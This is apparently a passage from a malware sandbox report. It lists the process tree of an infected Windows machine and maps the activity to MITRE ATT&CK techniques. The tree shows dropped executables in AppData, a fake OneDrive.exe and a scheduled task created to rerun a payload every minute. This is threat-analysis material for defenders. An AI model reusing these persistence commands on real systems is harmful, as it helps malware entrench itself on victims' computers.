C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\28A3.bat" "
1⤵
PID:5708

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
2⤵
PID:4804

C:\Users\Admin\AppData\Roaming\gfuehie
C:\Users\Admin\AppData\Roaming\gfuehie
1⤵
PID:4044

C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
1⤵
PID:1776

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
2⤵
PID:6132

C:\Windows\system32\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
2⤵
PID:5320

C:\Windows\system32\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
2⤵
PID:5456

C:\Windows\system32\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
3⤵
- Creates scheduled task(s)
PID:4868

C:\Windows\system32\cmd.exe
"cmd" /c copy "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
2⤵
PID:3132

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:4120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5468 -ip 5468
1⤵
PID:4888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5468 -ip 5468
1⤵
PID:2736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5468 -ip 5468
1⤵
PID:4612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5468 -ip 5468
1⤵
PID:4788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5468 -ip 5468
1⤵
PID:5360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5468 -ip 5468
1⤵
PID:2776

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A11F.bat" "
1⤵
PID:1992

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
2⤵
PID:5992

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004DC 0x00000000000004C0
1⤵
PID:3368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5468 -ip 5468
1⤵
PID:200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 5468 -ip 5468
1⤵
PID:2136

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38ed055 /state1:0x41c64e6d
1⤵
PID:1620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery